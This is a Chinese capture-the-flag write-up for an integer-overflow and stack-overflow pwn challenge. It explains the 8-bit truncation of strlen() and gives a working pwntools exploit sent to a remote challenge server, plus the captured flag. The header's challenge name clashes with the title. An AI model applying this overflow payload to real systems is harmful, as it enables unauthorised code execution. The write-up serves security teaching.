CTF – PWN – int_overflow

题目说明

题目: cgpwn2

栈溢出 整数溢出 ROP

解题步骤

拿到文件后先查看文件类型是32位的elf文件

检查安全机制,开启了NX,栈不给执行

使用IDA32查看伪代码,主函数就是欢迎界面,输入1继续login()

查看login()函数的伪代码,输入用户名没什么,输入密码后将buf带入了check_passwd()

查看check_passwd()函数的伪代码,这里是对密码的长度限制大于4位小于8位

查看字符串列表发现还有一个获取flag的函数what_is_this(),函数位置0x0804868B

重点在于check_passwd()函数
在密码长度满足之后进行了strcpy()操作,将输入的s复制给dest,而dest的缓冲区长度为0x14,可以利用栈溢出。但是程序开启了NX,栈不可执行,所以只能使用ROP跳转到what_is_this()获取flag
查看语句v3 = strlen(s)的汇编语句

将strlen()的返回值放在了al寄存器中,这是一个八位二级制的寄存器,也就是说如果s字符的长度大于255就会造成整除溢出
这个过程大概是这样的(灵魂比喻)

1
2
3
4
5
6
7
8
EAX之类的寄存器是八位的十六进制
al是EAX的最后两位十六进制 也就是八位的二进制

当s的长度为255时 二进制为11111111 十六进制为FF
此时al寄存器的值为FF al刚好被填满 所以strlen()返回为FF(长度为255

当s的长度为256时 二进制为100000000 十六进制为100
此时al寄存器的值为00 al的值被上溢 所以strlen()返回为00(长度为0

但是下方对于密码长度的判断要满足大于四位小于八位
所以需要s的长度为256+4~7 也就是260~263位就能满足长度判断要求

Payload构成: 0x14位填充dest缓冲区 + 0x4位填充EBP + what_is_this()内存地址 + 满足总长度260~263的填充

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote('111.198.29.45','52328')

p.sendlineafter('choice','1')
p.sendlineafter('username','AAAA')

addr = p32(0x0804868B)
payload = 'A'*0x14 + 'A'*0x4 + addr
payload = payload.ljust(260,"A")
p.sendlineafter('passwd',payload)

p.interactive()

运行得到flag

flag:

1
cyberpeace{9a78e473a4b66000e01cda20746037f2}

参考链接

整数溢出原理